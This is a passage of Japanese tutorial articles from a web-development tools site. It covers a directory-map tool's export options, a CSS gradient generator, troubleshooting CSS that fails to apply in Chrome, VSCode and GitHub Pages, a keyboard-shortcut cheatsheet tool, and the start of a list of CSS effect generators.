このツールの便利な点は自動整列です。親子のノードがほぼ揃っていれば矢印が自動でまっすぐになり、同じ親から複数の子が伸びる場合も線が自動できれいに枝分かれします。手作業で線の角度をそろえる手間がないので、ノードを置いてつなぐだけで、見られる図に仕上がります。 見やすいディレクトリマップにするコツ ディレクトリマップは「全部載せる」より「伝えたい構造がひと目でわかる」ことが大切です。見やすくするための実践的なコツをまとめます。 粒度をそろえる： すべてのファイルを描くと図が渦巻きます。重要なフォルダと代表的なファイルだけに絞り、細部は「…」や付箋で補うと読みやすくなります。 色で役割を分ける： 「設定ファイルは灰色」「機能フォルダは青」のように色にルールを持たせると、種類がひと目で区別できます。使う色は3〜4色までに抑えるのが無難です。 上から下・左から右にそろえる： 階層の向き（縦か横か）を統一すると、視線が迷いません。自動整列を活かして、親→子の流れを一定方向にそろえましょう。 名前は実物どおりに： フォルダ名・ファイル名は実際のものと一致させます。図と現物がずれると、ドキュメントとしての信頼性が下がります。 たとえば、あるツールのリポジトリを説明する図なら、src（本体）・tests（テスト）・docs（ドキュメント）といった役割の異なる主要フォルダを最上段に並べ、その下に代表的なファイルを2〜3個だけぶら下げる、という構成にすると、細部に埋もれず全体像が伝わります。「見た人が最初に知りたいのは何か」を基準に、載せる情報を引き算していくのが、見やすいディレクトリマップへの近道です。 PNG・Markdown・JSONで書き出す／自動保存で続きから 完成したディレクトリマップは、PNG・Markdown・JSONの3通りで書き出せます。用途に応じて使い分けましょう。 PNG（画像）： 図を1枚の画像として保存します。ドキュメントやスライドに貼り付けたいときはこちら。画像なので、環境を問わずそのまま表示できます。 Markdown（ツリー図）： ├─ の罫線ツリーをコードブロックの形で書き出します。GitHubのREADMEに貼るならこちらが向いています。画像と違って差分に残り、テキスト検索でき、パスをそのままコピーできるためです。 JSON（データ）： 図の構造をデータとして保存します。あとで読み込めば、続きから編集を再開できます。構成を更新しながら使い続けたい図に向いています。 Markdownは読み込んで図に戻すこともできます。すでにREADMEに書いてあるツリーや、treeコマンドの出力を貼れば、そのまま図として開けます。ただし復元されるのは階層構造だけで、色や配置、付箋・図形の種別は残りません（自動でレイアウトし直されます）。図として作り込んだものを保存するならJSONを使ってください。 さらに、編集内容はブラウザに自動保存されます。作業の途中でタブを閉じても、次に同じブラウザで開けば前回の状態から再開できるので、保存ボタンを押し忘れて消えてしまう心配がありません。ただし自動保存はそのブラウザ内だけの記録なので、別のPCで開いたり長期保管したりしたい場合は、JSONで書き出しておくと確実です。 ### [CSSグラデーションジェネレーターの使い方｜linear/radial/conic対応・伝統色プリセット内蔵](https://codequest.work/gradient-generator-tool/) CSSグラデーションジェネレーターとは、線形（linear）・放射（radial）・扇形（conic）のグラデーションを画面上で見ながら作り、CSSやTailwind形式のコードとして書き出せる無料ツールです。バーをクリックして色を追加し、つまみをドラッグして位置を調整するだけで配色が決まります。さらにこのツールは日本の伝統色273色をプリセットとして内蔵しており、「色の辞書」から選ぶだけで和の配色グラデーションを作れるのが特徴です。完成したコードはワンクリックでコピーでき、PNG画像としても書き出せます。 CSSグラデーションジェネレーターを使ってみる → グラデーションはCSSで手書きもできますが、角度や色の止まる位置（カラーストップ）を数値で微調整しながら理想の見た目に近づけるのは手間がかかります。値を少し変えてはブラウザで確認し直す、という往復が地味に面倒です。だからこそ、見た目を確認しながら調整して、決まったらコードをそのまま貼り付けられるジェネレーターが役立ちます。 この記事では、CodeQuestが公開しているCSSグラデーションジェネレーターの使い方を解説します。3種類のグラデーションの使い分け、カラーストップの追加・移動・削除、日本の伝統色からの配色、CSS／Tailwind形式でのコード書き出し、PNGエクスポートまでを操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 CSSグラデーションジェネレーターとは：3種類を1か所でビジュアル生成 このツールの特徴は、CSSで使える線形・放射・扇形の3種類のグラデーションを、同じ画面で見た目を確認しながら作れる点です。タイプを切り替えると、それぞれに合った設定項目（線形なら角度、放射なら円・楕円の形状など）が現れ、カードのプレビューにリアルタイムで反映されます。CSSの構文を覚えていなくても、操作した結果がそのままコードになります。 グラデーション生成ツールは数多くありますが、このツールが他と違うのは日本の伝統色273色をプリセットとして内蔵していること。一般的なカラーピッカーで色を選ぶだけでなく、「色の辞書」から伝統色を選んでグラデーションに組み込めます。和の雰囲気を出したいバナーや背景を作るときに、色選びそのものを助けてくれるのが他のジェネレーターにない強みです。 このツールでできること CSSグラデーションジェネレーターは、グラデーションを「作る・色を選ぶ・書き出す」ことに特化しています。主な機能は次のとおりです。 機能内容グラデーションタイプ線形（linear）・放射（radial）・扇形（conic）の3種類を切り替えて生成方向・形状の調整線形は角度を指定。放射は「円」「楕円」の形状を選択できるカラーストップ編集バーのクリックで色を追加、つまみのドラッグで位置を移動、ダブルクリックで削除。位置はパーセントでも指定可能伝統色プリセット日本の伝統色273色を「色の辞書」から選んでグラデーションに組み込めるコード書き出しCSS形式・Tailwind形式の両方に対応。「コードをコピー」でクリップボードに転送適用先の切り替え同じグラデーションを「背景」と「文字」でワンクリック切替。文字を選ぶと出力コードが文字グラデーション用に変わるフォント選択文字モードではGoogleフォント8種（明朝・ゴシック・丸ゴシック・欧文）から選択でき、プレビュー・コード・画像すべてに反映される画像書き出し作ったグラデーションを「PNGで書き出し」で画像として保存。文字モードでは字面に合わせた透過PNGになるリアルタイムプレビュー調整した内容がカード上のプレビューに即座に反映される 操作はすべてブラウザ内で完結し、外部のサーバーには送信されません。完全無料で、登録も不要です。 使い方：6ステップでグラデーションを作る 操作はおおきく6ステップです。むずかしい設定はありません。 タイプを選ぶ： 線形・放射・扇形から、作りたいグラデーションの種類を選びます。 色を決める： バーをクリックしてカラーストップを追加し、各色を設定します。「色の辞書」から日本の伝統色を選ぶこともできます。 位置と方向を調整： つまみをドラッグして色の止まる位置を変え、線形なら角度、放射なら形状を整えます。位置はパーセントでの数値指定も可能です。 適用先を選ぶ： グラデーションを「背景」に敷くか「文字」に流し込むかを切り替えます。文字を選ぶと、プレビューに表示する文言とフォントも指定できます。 コードをコピー： プレビューが理想どおりになったら、CSSまたはTailwind形式で「コードをコピー」します。 必要ならPNG書き出し： 画像として使いたい場合は「PNGで書き出し」でダウンロードします。 最初から色数を増やす必要はありません。2色のシンプルなグラデーションから始めて、必要に応じてカラーストップを足していくと、破綻のない配色に仕上がります。 線形・放射・扇形を使い分ける CSSのグラデーションには大きく3種類があり、それぞれ向いている用途が異なります。このツールではタイプを切り替えるだけで試せるので、迷ったら3つとも当ててみて、いちばんしっくりくるものを選ぶのが早道です。 タイプCSS関数向いている用途線形linear-gradient()背景・ボタン・帯など、まっすぐ色が変化する最も汎用的なグラデーション。角度で方向を調整放射radial-gradient()中心から外側へ広がる光やスポットの表現。円・楕円を選べる扇形conic-gradient()中心を軸に色が回転する表現。円グラフ風の配色やカラーホイールに もっとも使用頻度が高いのは線形です。MDN Web Docsでも、線形グラデーションは「2つ以上の色が直線に沿って徐々に変化する」もので、角度や方向を指定できると説明されています（MDN Web Docs「linear-gradient()」）。まずは線形で基本をつかみ、表現の幅を広げたいときに放射・扇形を試すとよいでしょう。 カラーストップを自在に編集する グラデーションの印象を決めるのがカラーストップ（色とその止まる位置の組み合わせ）です。このツールでは、グラデーションバー上で直感的に編集できます。 追加： グラデーションバーの好きな位置をクリックすると、新しいカラーストップが追加されます。 移動： つまみをドラッグすると、色の止まる位置が前後します。位置は「位置 %」で数値指定もできます。 削除： 不要になったつまみをダブルクリックすると削除されます。 色の境目をはっきりさせたいときは2つのストップを近づけ、なめらかに溶け込ませたいときは離す——という調整がドラッグだけで行えます。位置の数値が分かるので、左右対称の配色や等間隔のグラデーションもきれいに作れます。 日本の伝統色273色から配色する このツールならではの機能が、日本の伝統色273色のプリセットです。カラーストップの色を決めるとき、「🎨 色の辞書から選ぶ」を開くと、藍色や朱色、若草色といった伝統色の一覧から選んでグラデーションに組み込めます。自分でカラーコードを探さなくても、名前と色見本を見ながら和の配色を作れます。 和菓子店や旅館、和をテーマにしたサイトの背景・バナーなど、「なんとなく日本っぽい色」を直感ではなく根拠のある伝統色で組み立てたいときに役立ちます。伝統色そのものの名前や由来を詳しく知りたい場合は、色の辞書の使い方｜日本の伝統色とCSS名前付き色を由来から引けるツールもあわせて使うと、色選びの幅が広がります。 CSS / Tailwind 形式でコードを書き出す プレビューが完成したら、コードを書き出します。このツールはCSS形式とTailwind形式の両方に対応しているので、プロジェクトの書き方に合わせて選べます。「コードをコピー」を押すとクリップボードに転送され、そのままエディタに貼り付けられます。 素のCSSで使う場合は、生成された background プロパティをそのまま要素に当てるだけです。Tailwindを使っているプロジェクトなら、Tailwind形式に切り替えてコピーすれば、ユーティリティクラスの記法に沿った形で受け取れます。手書きで構文を組み立てる必要がないので、関数名や区切りのタイプミスも起きません。 PNG画像として書き出して活用する 作ったグラデーションは、コードだけでなくPNG画像としても書き出せます。「PNGで書き出し」ボタンを押すと、グラデーションが1枚の画像としてダウンロードされます。 CSSを使わない場面——たとえばスライドの背景、SNS投稿の下地、デザインカンプの配色見本などでは、画像のほうが扱いやすいことがあります。コードとして実装に使うか、画像として素材に使うか、用途に合わせて使い分けられるのは便利です。 文字にグラデーションをかける（背景と文字の切り替え） グラデーションは背景だけのものではありません。モーダル上部の「適用先」で「文字」に切り替えると、同じグラデーションを見出しの文字そのものに流し込めます。作り直す必要はなく、切り替えるだけで出力されるコードも自動で変わります。 「文字」を選ぶと、プレビューに実際の見出し文言を入力して確認できます。あわせてフォントもGoogleフォントから選べます（明朝・ゴシック・丸ゴシック・欧文）。フォントによって字面の太さや隙間が変わるため、同じ配色でも印象はかなり変わります。本番で使う文言とフォントで確かめておくと安心です。 文字グラデーションは、グラデーションを背景として敷いたうえで background-clip: text で字面の形に切り抜き、文字色を透明にすることで実現します。ここで注意したいのが、CSSの宣言だけでは「どの要素に当てるか」が分からず動かない点です。そのため出力には、HTMLの要素とフォントの読み込みもまとめて含めています。コピーしてそのまま貼れば動きます。 -webkit-background-clip をあわせて出力しているのは、Safariなど一部の環境でこの接頭辞つきが必要なためです。また文字色を消すのに color: transparent ではなく -webkit-text-fill-color を使っているのは、こちらのほうが確実に効き、テキストを選択したときの見え方も保たれるためです。 さらに文字モードでは「PNGで書き出し」の動きも変わり、字面の形に合わせた背景が透明なPNGとして保存されます。バナーやサムネイル、スライドの見出しにそのまま重ねられます。 グラデーションをデザインに使うときのコツ グラデーションは手軽に華やかさを足せますが、使い方を誤ると読みにくくなったり、安っぽく見えたりします。仕上がりを良くするためのポイントをいくつか挙げます。 色数は欲張らない： 多くの場合、2〜3色でまとまります。色を増やすほど統一感は失われやすくなります。 近い色相でまとめる： 隣り合う色相同士はなめらかに変化します。離れた色を混ぜるときは中間色のストップを挟むと濁りを防げます。 文字を乗せるなら明度差を確保： グラデーション背景に文字を重ねる場合は、どの位置でも文字色とのコントラストが十分か確認します。 特に文字とのコントラストは見落とされがちです。WCAG 2.1の達成基準では、通常サイズの本文テキストに対して背景とのコントラスト比4.5:1以上が推奨されています（W3C「WCAG 2.1 達成基準1.4.3」）。グラデーションは場所によって明るさが変わるため、いちばん文字が見えにくくなる位置を基準に確認しておくと安全です。ボタンのグラデーションを作る場合は、グラデーションボタンの作り方｜CSSのみで実装するアニメーション付きGradient Buttonもあわせて参考にしてください。 ### [Chrome・VSCode・GitHubでCSSが反映されない原因と対処法](https://codequest.work/css-not-reflecting-by-environment/) ChromeでCSSが反映されない、VSCodeで編集しても変わらない、GitHub Pagesにデプロイすると崩れる——CSSが効かない原因は、使っている環境ごとに異なります。この記事では、ブラウザ（Chrome）・エディタ（VSCode）・デプロイ先（GitHub Pages）の3つの環境別に、CSSが反映されない原因と対処法を切り分けて解説します。セレクタや詳細度など原因の全体像はCSSが反映されない原因と対処法をあわせてご覧ください。 ChromeでCSSが反映されない場合の対処法 ChromeでCSSが反映されない場合とは、Chrome独自のキャッシュ機構や拡張機能が原因で、CSSの変更がブラウザに正しく表示されない状態のことです。以下の手順で原因を切り分けましょう。 強制リロードとキャッシュクリア Chromeでは通常の再読み込み（F5）ではキャッシュされたCSSが使われ続けることがあります。以下の方法で強制的に最新のCSSを読み込みましょう。 スーパーリロード: Ctrl + Shift + R（Mac: Cmd + Shift + R）で強制再読み込み キャッシュの完全削除: 設定 → プライバシーとセキュリティ → 閲覧履歴データの削除 → 「キャッシュされた画像とファイル」にチェック → データを削除 DevToolsでキャッシュ無効化: F12でDevToolsを開き、「Network」タブの「Disable cache」にチェックを入れる（DevTools開放中のみ有効） DevToolsでCSSの適用状態を確認する ChromeのDevTools（F12）は、CSSの問題を特定する最も効率的なツールです。対象要素を右クリック → 「検証」で、以下を確認できます。 Elementsタブ → Styles: 適用されているCSSルールと、打ち消し線で上書きされたプロパティが一覧表示される Elementsタブ → Computed: 最終的に計算された値を確認できる。どのルールが勝っているかが明確にわかる Networkタブ: CSSファイルが正常に読み込まれているか（200 OK）、404エラーになっていないかを確認 Chrome拡張機能による干渉 広告ブロッカーやダークモード系の拡張機能がCSSを上書きしているケースがあります。シークレットウィンドウ（Ctrl + Shift + N）で同じページを開き、拡張機能なしの状態で表示が正常かどうかを確認しましょう。正常に表示される場合は、拡張機能を1つずつ無効化して原因を特定します。 VSCodeでCSSが反映されない・効かない場合の確認ポイント VSCodeでCSSが反映されない場合とは、エディタ上でCSSを編集しているにもかかわらず、Live ServerやプレビューでスタイルがHTML側に適用されない状態のことです。VSCode特有の原因を確認しましょう。 ファイルの保存忘れ VSCodeでは未保存のファイルはタブに白い丸印（●）が表示されます。CSSを編集した後、Ctrl + S（Mac: Cmd + S）で保存してからブラウザをリロードしましょう。自動保存を有効にするには、「設定 → Auto Save → afterDelay」に変更するのが推奨です。 Live Serverの設定確認 VSCodeの拡張機能「Live Server」を使っている場合、以下のポイントを確認してください。 HTMLファイルを直接開いていないか: ファイルをダブルクリックで開くとfile:///プロトコルになり、Live Serverが動作しません。必ずLive Serverの「Go Live」ボタンから起動する ワークスペースのルートフォルダ: CSSファイルのパスはワークスペースのルートを基準に解決されるため、フォルダの開き方が間違っていると読み込みに失敗する ポートの競合: 既に別のプロセスが同じポート（デフォルト5500）を使用していると正常に動作しない場合がある CSSファイルのパスとディレクトリ構成 VSCodeのエクスプローラーでディレクトリ構成を確認し、HTMLの<link>タグのパスと実際のCSSファイルの場所が一致しているか確かめましょう。よくあるミスは以下の通りです。 <!-- よくあるパスミスの例 --> <!-- NG: 大文字小文字が違う --> <link rel="stylesheet" href="CSS/style.css"> <!-- OK: 実際のフォルダ名と一致 --> <link rel="stylesheet" href="css/style.css"> Windowsのローカル環境では大文字小文字を区別しないため問題が起きませんが、Linux系のサーバーにデプロイすると404エラーになるケースがあります。開発段階から小文字で統一する習慣をつけましょう。 Emmetの展開結果を確認する VSCodeのEmmet機能でCSSを素早く入力できますが、展開結果が意図と異なる場合があります。例えばbgcと入力してTabキーを押すとbackground-color: #fff;が展開されますが、値を書き換え忘れるケースがあります。Emmet展開後は必ず値を確認しましょう。 GitHubでCSSが反映されない原因 GitHubでCSSが反映されない場合とは、GitHub Pagesやリポジトリ上でホスティングしているサイトにCSSの変更がデプロイされない、または表示に反映されない状態のことです。GitHub特有の原因を確認しましょう。 GitHub Pagesのキャッシュ GitHub PagesはCDN経由で配信されるため、CSSの変更が反映されるまで数分〜最大10分程度かかることがあります。pushした直後に変化がない場合は、しばらく待ってからスーパーリロードを試しましょう。それでも反映されない場合は、リポジトリの「Actions」タブでデプロイが完了しているか確認してください。 CSSファイルのパス設定 GitHub Pagesでは、リポジトリ名がサブディレクトリとしてURLに含まれるため、ローカルでは正常に動作していたCSSパスがGitHub Pages上で404になるケースがあります。 <!-- NG: ローカルでは動くがGitHub Pagesで404 --> <link rel="stylesheet" href="/css/style.css"> <!-- OK: リポジトリ名を含めたパス --> <link rel="stylesheet" href="/my-repo/css/style.css"> <!-- OK: 相対パスを使う（推奨） --> <link rel="stylesheet" href="./css/style.css"> ルート相対パス（/css/style.css）はGitHub Pagesのサブディレクトリ構成と合わないため、相対パス（./css/style.css）を使用するのが推奨です。 gitにCSSファイルがコミットされているか確認 ローカルでCSSを編集してもgit addとcommitをしなければ、GitHub上のファイルは更新されません。また、.gitignoreにCSSファイルやcssディレクトリが含まれていないか確認しましょう。SCSSやSassを使っている場合、コンパイル後のCSSファイルが.gitignoreで除外されていると、pushしてもCSSがGitHubにアップロードされません。 # CSSファイルがgit管理下にあるか確認 git ls-files css/style.css # .gitignoreの内容を確認 cat .gitignore | grep css ブランチの設定ミス GitHub Pagesの公開ブランチとpush先のブランチが異なる場合、変更が反映されません。リポジトリの「Settings → Pages」で、公開ソースのブランチが正しいか（main / gh-pages など）を確認しましょう。開発ブランチにpushしただけでは公開サイトは更新されません。 まとめ CSSが反映されないとき、原因がブラウザ・エディタ・デプロイ環境のどこにあるかで対処は変わります。Chromeならキャッシュと拡張機能、VSCodeなら保存忘れとLive Server、GitHub Pagesならパス指定とブランチ設定——環境ごとの切り分けポイントを押さえれば、原因の特定は一気に早くなります。セレクタや詳細度など一般的な原因はCSSが反映されない原因と対処法をご覧ください。 よくある質問（FAQ） Q. CSSが反映されない主な原因は？ A. キャッシュの残存、セレクタの詳細度不足、プロパティ名のスペルミス、ファイルパスの間違い、CSSファイルの読み込み順序の問題が主な原因です。まずブラウザのデベロッパーツールで対象要素のスタイルを確認してください。 Q. ChromeでCSSが反映されないとき、まず何をすべきですか？ A. DevToolsを開いて「Network」タブの「Disable cache」にチェックを入れた状態でリロードしてください。これでキャッシュを無視した状態で最新のCSSが読み込まれます。それでも解決しない場合は、シークレットウィンドウで拡張機能の干渉がないか確認しましょう。 Q. VSCodeでCSSを編集してもブラウザに反映されません。原因は？ A. 最も多い原因はファイルの保存忘れです。VSCodeのタブに白い丸印が表示されていないか確認し、Ctrl + S（Mac: Cmd + S）で保存してください。また、Live Serverを使用している場合は「Go Live」ボタンから起動しているか、HTMLファイルを直接ダブルクリックで開いていないかを確認しましょう。 Q. GitHub PagesにデプロイしたサイトでCSSが読み込まれません。 A. GitHub Pagesではリポジトリ名がURLのサブディレクトリに含まれるため、ルート相対パス（/css/style.css）だと404になります。相対パス（./css/style.css）に変更し、CSSファイルがgitにコミットされているか、.gitignoreで除外されていないかも確認してください。 Q. CSSのキャッシュをクリアする方法は？ A. Ctrl+Shift+R（Mac: Cmd+Shift+R）でスーパーリロードを行うか、デベロッパーツールを開いた状態でリロードボタンを長押しして「キャッシュの消去とハード再読み込み」を選択します。ファイル名にバージョンパラメータ（?v=2）を追加する方法もあります。 ### [ショートカットキー チートシートの使い方｜アプリ別一覧と自分専用マイ一覧を作る](https://codequest.work/shortcut-cheatsheet-tool/) ショートカットキー チートシートとは、Photoshop・Illustrator・Figma・Excel・Word・PowerPoint・VSCode・Slack・Notionのキーボードショートカットをアプリ別に一覧表示し、★でよく使うキーだけを集めた自分専用の「マイ一覧」を作れる無料ツールです。アプリを選び、カテゴリ切替や検索で目的のキーを探し、★で集めて並べ替え、印刷・PDF・PNG画像として書き出せます。Mac表記（⌘⌥⇧）とWindows表記（Ctrl/Alt/Shift）はワンタップで切り替えられます。 ショートカットキー チートシートを使ってみる → ショートカットは作業を確実に速くしますが、アプリごとにキーが違い、実際に使うのは結局いつもの数個です。公式のショートカット一覧は項目が多すぎて、自分が必要なキーだけを手元に置いておきにくい——そんな「覚えきれない・探すのが面倒」を解決するために、よく使うキーだけを集めて1枚にまとめられるのがこのツールです。 この記事では、CodeQuestが公開しているショートカットキー チートシートの使い方を解説します。アプリ別にショートカットを探す方法、★でマイ一覧を作る手順、一覧にないキーを自分で登録する方法、Mac/Windows表記の切り替え、そして作ったチートシートを印刷・画像として書き出すまでを、操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 ショートカットキー チートシートとは：9アプリを1か所で引ける このツールの特徴は、性格の異なる9つのアプリのショートカットを同じ操作感で横断して引ける点です。デザイン系のPhotoshop・Illustrator・Figma、オフィス系のExcel・Word・PowerPoint、開発・業務系のVSCode・Slack・Notion。ふだん複数のアプリを行き来する人ほど、キーの違いに頭を切り替えるのが面倒になりますが、ここではアプリを選ぶだけで、そのアプリのショートカットがカテゴリ別に並びます。 ショートカット一覧は世の中にたくさんありますが、多くは「全キーをただ並べただけ」で、情報量が多すぎて結局見なくなりがちです。このツールが他と違うのは、一覧から自分がよく使うキーだけを★で抜き出し、1枚のチートシートに育てられること。眺めて終わりではなく、手元に置いて使う前提で設計されています。 このツールでできること ショートカットキー チートシートは、ショートカットを「探す・集める・書き出す」ことに特化しています。主な機能は次のとおりです。 機能内容アプリ別一覧Photoshop・Illustrator・Figma・Excel・Word・PowerPoint・VSCode・Slack・Notionのショートカットを、アプリごとにカテゴリ分けして表示検索機能名でショートカットを絞り込み。目的の操作名からすばやく探せるマイ一覧（★）よく使うキーを★で集めた自分専用のショートカット集。ドラッグで並べ替えでき、書き出しに対応ショートカット登録一覧にないキーや自分で割り当てたキーを「＋ ショートカットを登録」から追加。キーは押して取得／手動入力の両対応テンプレート「定番セット」「写真レタッチ」など用途別のおすすめを一括でマイ一覧に追加Mac / Windows 切替⌘⌥⇧ ↔ Ctrl/Alt/Shift をワンタップで切り替え書き出しマイ一覧を印刷・PDF保存・PNG画像として出力自動保存並び順やお気に入りはブラウザに自動保存。次に開いたときもそのまま 入力やお気に入りの保存はすべてブラウザ内で処理され、外部のサーバーには送信されません。完全無料で、登録も不要です。 VSCode・Slack・Notionのショートカットも1枚にまとめる ショートカットキー チートシートは、デザイン・オフィス系に加えて、開発・業務でよく使うVSCode・Slack・Notionのショートカットにも対応しています。コードを書くエディタ、チームのチャット、ドキュメント管理——1日のなかで何度も行き来するツールほど、ショートカットの差が作業スピードに効いてきます。これらも同じ画面でカテゴリ別に引き、★でマイ一覧に集められます。 とくに使用頻度が高いのは、次のような操作です。 VSCode：コマンドパレット（⌘/Ctrl+Shift+P）やファイルをすばやく開く（⌘/Ctrl+P）、行コメントの切り替え（⌘/Ctrl+/）など、マウスに持ち替えず操作を完結できるキー。 Slack：チャンネルやDMをすばやく移動するクイック切り替え（⌘/Ctrl+K）など、会話を探す時間を減らすキー。 Notion：ページ内をすばやく検索（⌘/Ctrl+P）、新規ページ作成、チェックリストや見出しのマークダウン入力など、書きながら手を止めないキー。 開発者やチームで働く人は、エディタ・チャット・ドキュメントの3つを同時に開いている時間が長いほど、ショートカットの恩恵が大きくなります。アプリごとに公式の一覧を見比べるのではなく、VSCode・Slack・Notionのよく使うキーだけを1枚のチートシートにまとめておけば、ツールを切り替えても手の動きを止めずに済みます。Mac/Windowsの表記切り替えにも対応しているので、自分の環境に合わせた1枚を書き出せます。 使い方：5ステップでマイ一覧を作る 操作はおおきく5ステップです。むずかしい設定はありません。 アプリを選ぶ： トップから対象アプリ（Photoshop・Illustrator・Figma・Excel・Word・PowerPoint・VSCode・Slack・Notion）を開きます。 探す： 左メニューのカテゴリ切替、または検索ボックスで目的のショートカットを絞り込みます。 ★でマイ一覧に追加： よく使うキーの☆を押すとマイ一覧に入ります。用途別「テンプレート」での一括追加や、自分のショートカット登録も可能です。 並べ替え： マイ一覧のカードをドラッグして、使いやすい順に並べます。並び順は自動保存されます。 書き出し： 「印刷 / PDF」または「画像（PNG）」で、自分専用のチートシートを書き出します。 最初から完璧なチートシートを作る必要はありません。使いながら「これも入れておきたい」と思ったキーを★で足し、要らなくなったら外す。日々の作業のなかで少しずつ育てていくのが、いちばん使えるチートシートになります。 ★マイ一覧で「自分だけのチートシート」を作る このツールの中心となるのがマイ一覧です。一覧に並んだショートカットのうち、よく使うものの★を押すだけで、マイ一覧に集まっていきます。全部を覚えようとせず、「自分が実際に使う10〜20個」だけに絞るのが、チートシートを実用的にするコツです。 集めたキーはドラッグで自由に並べ替えできます。使う頻度の高い順に並べたり、「選択系」「表示系」のように自分なりのグループで固めたり、手になじむ配置に整えられます。並び順とお気に入りはこのブラウザに自動保存されるので、次に開いたときも前回のままのチートシートが表示されます。保存ボタンを押す必要はありません。 一覧にないキーを登録・テンプレートで一括追加する 標準の一覧にないショートカットや、自分でキー割り当てをカスタマイズしている場合は、「＋ ショートカットを登録」から追加できます。機能名とキーを登録するだけで、登録分は「カスタム」カテゴリに入り、自動でマイ一覧にも追加されます。キーは実際に押して取得する方法と、手動で入力する方法の両方に対応しているので、自分の環境どおりのチートシートを作れます。 逆に「まず定番から押さえたい」というときはテンプレートが便利です。「定番セット」「写真レタッチ」など用途別にまとまったおすすめを、ワンタップでマイ一覧に一括追加できます。ゼロから★を集めるのが手間なときは、テンプレートで土台を作ってから、要らないキーを外していくと早く仕上がります。 Mac / Windows の表記を切り替える 同じアプリでも、ショートカットの表記はMacとWindowsで異なります。Macは ⌘（command）⌥（option）⇧（shift）、Windowsは CtrlAltShift が基本です。このツールでは左上のトグルでMac表記とWindows表記をワンタップで切り替えられるので、自分が使っている環境に合わせて表示できます。 MacとWindowsの両方で作業する人や、チームで環境が混在している場合も、表記を切り替えてそれぞれのチートシートを書き出せます。「Macでは⌘＋C、Windowsでは Ctrl＋C」のように、頭の中で読み替える手間がなくなります。 印刷・PDF・画像で書き出してデスクに貼る 完成したマイ一覧は、「印刷 / PDF」と「画像（PNG）」の2通りで書き出せます。印刷ボタンからはそのまま紙に印刷でき、PDFとして保存することもできます。画像（PNG）ボタンからは、チートシートを1枚の画像としてダウンロードできます。 紙に印刷してデスクの横に貼れば、作業中に画面を切り替えずにキーを確認できます。PNG画像にすればチームに共有したり、スマホやタブレットに保存して手元で見たりするのも簡単です。ショートカットは「見える場所にあるほど定着する」ので、自分専用の1枚を物理的に手元へ置けるのは大きな利点です。 ショートカットを使うと作業はどう変わるか マウスでメニューをたどる操作を、キー2〜3個の入力に置き換える。ひとつひとつの差はわずかでも、1日に何百回と繰り返す操作では積み重なります。暗記学習アプリを提供するBrainscapeは、マウス操作の代わりにショートカットを使わないことで、PCを長時間使う人は年間で最大8営業日分の生産性を失う可能性があると試算しています（Brainscape「The 8-Day Productivity Bummer」）。数字の正確さよりも、「塵も積もれば無視できない差になる」という点が重要です。 ただし、すべてのショートカットを丸暗記する必要はありません。効果が大きいのは「コピー＆ペースト」「取り消し」「ツール切り替え」のような高頻度の操作だけです。だからこそ、全キーを覚えるのではなく、自分が毎日使う数個を★で集めて手元に置く——というこのツールの使い方が理にかなっています。デザインソフトをこれから本格的に学ぶ人は、Photoshop学習方法｜初心者が最短でスキルを習得するステップとあわせて、操作に慣れながら少しずつショートカットを増やしていくとよいでしょう。 よくある質問（FAQ） Q. このツールは無料ですか？登録は必要ですか？ 完全無料・登録不要です。すべてブラウザ内で動作し、入力したデータが外部に送信されることはありません。作ったマイ一覧はこのブラウザに自動保存されます。 Q. 「マイ一覧」とは何ですか？ ★で集めた自分専用のショートカット集です。ドラッグで並べ替えでき、印刷やPNG画像として書き出せます。並び順・お気に入りはブラウザに自動保存されるので、次に開いたときもそのまま使えます。 Q. 一覧にないショートカットを追加できますか？ はい。「＋ ショートカットを登録」から機能名とキーを登録できます。キーは実際に押して取得するか、手動で入力できます。登録分は「カスタム」カテゴリに入り、自動でマイ一覧にも追加されます。 Q. Mac と Windows の表記は切り替えられますか？ 左上のトグルで切り替えられます。Macは⌘⌥⇧、WindowsはCtrl/Alt/Shiftで表示されます。自分の環境に合わせて表記を選び、そのままチートシートを書き出せます。 Q. 作ったチートシートを印刷・保存できますか？ 「印刷 / PDF」で印刷（PDF保存も可）、「画像（PNG）」で画像としてダウンロードできます。 ### [CSSの装飾・アニメーションを作る無料ジェネレーターまとめ｜ボタン・ガラス・3Dカルーセル](https://codequest.work/css-effect-generators/) ボタンの発光、ガラスの屈折、図形の切り抜き、3Dで回るカルーセル——こうした“見た目を盛る”表現は、CSSやWebGLで一から書こうとすると、フィルタやシェーダー、座標計算でつまずきがちです。 CodeQuest.workでは、こうしたCSS装飾・アニメーション系の表現をコードを書かずに作れるジェネレーターを無料で公開しています。この記事では、装飾・動きを作るツールを用途別に紹介します。すべてブラウザ完結・登録不要で、生成したコードや画像は商用サイトでもそのまま使えます。 CSS装飾・UIパーツ生成ツール ボタンやガラス、図形の切り抜きなど、CSSやWebGLで作る装飾的なUIパーツを、コードを書かずに生成できるツール群です。プレビューで質感を確かめながら、そのまま貼れるコードや画像を取得できます。 1. clip-path ジェネレーター — CSSの図形をドラッグで作成 URL：codequest.work/generator/clip-path/ 頂点をドラッグするだけで、画像やボックスを多角形・円・矢印・吹き出しなどの形に切り抜くclip-pathコードを生成するツールです。複雑な座標計算をせずに、自由な形状をその場で作れます。 主な機能： 多角形（polygon）・円・楕円・insetに対応 頂点ハンドルをドラッグして形状を調整 よく使う形のプリセット clip-path のCSSをワンクリックコピー 詳しい使い方は「clip-path ジェネレーターの使い方｜CSSの図形をドラッグで作ってコピー」で解説しています。 2. ネオンボタン ジェネレーター — 縁が光るCSSボタンを生成 URL：codequest.work/generator/neon-button-generator/ SVGフィルタを使って、縁がネオンのように発光するボタンを生成するツールです。発光色やにじみ具合を調整し、HTML/CSSをそのままコピーして使えます。 主な機能： 発光色・強度・ぼかしの調整 ホバー時の光り方の設定 SVGフィルタ込みの自己完結コードを出力 ダーク背景でのリアルタイムプレビュー 詳しい使い方は「ネオンボタンジェネレーターの使い方｜SVGフィルタで縁が光るCSSボタンを作る」で解説しています。 3. Liquid Glass ジェネレーター — WebGLでApple風の屈折ガラス URL：codequest.work/generator/liquid-glass-generator/ WebGLで、背景を屈折させるApple風のガラス質感をリアルタイム生成するツールです。屈折やぼかしを調整して、ガラスUIを画像として書き出せます。 主な機能： 屈折・ぼかし・色味のリアルタイム調整 背景画像の差し替え WebGLによるなめらかなプレビュー 画像としての書き出し 詳しい使い方は「Apple風の屈折ガラスをWebGLで生成するLiquid Glassジェネレーター｜使い方ガイド」で解説しています。 4. Liquid Glass CSSジェネレーター — 